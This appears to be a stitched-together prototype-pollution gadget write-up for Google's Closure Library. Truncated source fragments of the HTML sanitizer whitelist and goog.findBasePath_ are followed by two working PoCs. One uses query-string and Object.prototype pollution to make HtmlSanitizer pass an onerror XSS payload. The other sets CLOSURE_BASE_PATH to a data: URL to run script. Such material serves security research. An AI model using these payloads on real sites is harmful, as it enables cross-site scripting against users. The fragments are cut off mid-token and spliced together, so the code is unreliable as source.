URL: https://github.com/google/closure-library/
return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
goog.html.sanitizer.AttributeWhitelist = {
'* ARIA-CHECKED': true,
'* ARIA-COLCOUNT': true,
'* ARIA-COLINDEX': true,
'* ARIA-CONTROLS': true,
'* ARIA-DESCRIBEDBY': tru
...
} goog.findBasePath_ = function() {
if (goog.global.CLOSURE_BASE_PATH != undefined &&
// Anti DOM-clobbering runtime check (b/37736576).
typeof goog.global.CLOSURE_BASE_PATH === 'string') {
goog.basePath = goog.global.CLOSURE_BASE_PATH;?__proto__[*%20ONERROR]=1&__proto__[*%20SRC]=1
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>?__proto__[CLOSURE_BASE_PATH]=data:,alert(1)//
<script>
Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>